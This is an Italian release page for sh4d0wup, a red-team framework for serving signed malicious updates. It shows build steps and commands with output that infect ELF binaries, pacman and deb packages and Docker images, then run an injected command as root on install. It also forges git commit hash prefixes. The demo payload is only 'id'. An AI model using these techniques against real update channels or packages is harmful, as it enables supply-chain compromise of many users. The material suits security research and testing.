Torna agli aggiornamenti
New releaseAug 4, 2026

sh4d0wup v0.11.1

Framework per l'abuso di chiavi di firma e lo sfruttamento degli aggiornamenti

Condividi

sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 Cosa sono gli aggiornamenti ombra?

Ti sei mai chiesto se l'aggiornamento che hai scaricato è lo stesso che ricevono tutti gli altri o ne hai ottenuto uno diverso fatto apposta per te? Gli aggiornamenti ombra sono aggiornamenti che ufficialmente non esistono ma portano firme valide e verrebbero accettati dai client come genuini. Questo può accadere se la chiave di firma viene compromessa dagli hacker o se un ingegnere del rilascio con accesso legittimo si fa corrotto.

sh4d0wup è un server di aggiornamento http/https malevolo che agisce come un proxy inverso di fronte a un server legittimo e può infettare e firmare vari formati di artefatti. Gli attacchi sono configurati in plot (trame) che descrivono come funziona il routing delle richieste http, come gli artefatti vengono modificati/generati, come devono essere firmati e con quale chiave. Una rotta può avere selettori in modo che corrisponda solo se, ad es., lo user-agent corrisponde a un pattern o se il client si connette da un indirizzo IP specifico. Per sviluppo e test, è possibile generare chiavi/certificati di firma fittizi e contrassegnarli come fidati.

🏗️ Compilare l'eseguibile sh4d0wup

C'è un binario precompilato nel repository [extra] di Arch Linux. Per compilare il binario dal sorgente su un sistema basato su Debian usa questo (testato con Ubuntu 22.04):

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 Compilare un plot

Alcuni plot sono più complessi da preparare di altri, per evitare lunghi tempi di avvio dovuti a download e modifica degli artefatti, puoi compilare un plot in anticipo. Questo permette anche di creare firme in anticipo.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 Eseguire un plot

Questo avvia un server di aggiornamento http malevolo secondo il plot. Accetta anche file yaml ma potrebbero impiegare più tempo per avviarsi.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

Puoi trovare esempi qui:

🪄 Infettare un artefatto

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

Forza bruta collisioni parziali di commit git

Ecco un breve one-liner su come prendere l'ultimo commit da un repository git, inviarlo a un computer remoto che ha sh4d0wup installato per modificarlo fino a quando l'id del commit inizia con il --collision-prefix fornito e poi inserire il nuovo commit di nuovo nel repository sul tuo computer locale:

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

Questo potrebbe richiedere del tempo, alla fine mostra un id di commit che puoi usare per creare un nuovo branch:

git show 777754fde8...
git branch some-name 777754fde8...
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Categorie

ExploitPenetration TestingCommand and ControlSicurezza della Supply ChainRed TeamingSviluppo Payload